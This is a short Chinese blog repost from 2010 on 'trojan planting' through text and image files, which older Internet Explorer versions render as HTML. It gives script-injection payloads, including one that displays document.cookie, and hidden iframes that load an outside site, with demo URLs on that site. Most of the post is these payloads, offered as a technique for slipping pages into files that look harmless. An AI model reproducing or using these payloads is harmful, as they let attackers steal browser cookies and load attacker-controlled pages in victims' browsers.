TXT文件和图片文件挂马(转载)

2010-5-8 王健宇 转载

TXT挂马

TXT文件中插入一段JAVA代码后后边的HTML代码就会被IE执行

受影响版本IE6 7 8

代码:

‘><script>alert(sb)</script>
<iframe src=http://snight.org width=500 height=500></iframe>

演示http://snight.org/test.txt



图片挂马

将上述代码保存为JPG文件,然后通过IE访问,IE还是同样会解析图片中的HTML代码

受影响版本

IE6 7

演示:http://snight.org/0.jpg

<script>alert(sb)</script>
<iframe src=http://snight.org width=200 height=100></iframe>
<script>alert(document.cookie)</script>
<iframe src=http://snight.org width=200 height=100></iframe>

 

发表评论:

Powered by emlog sitemap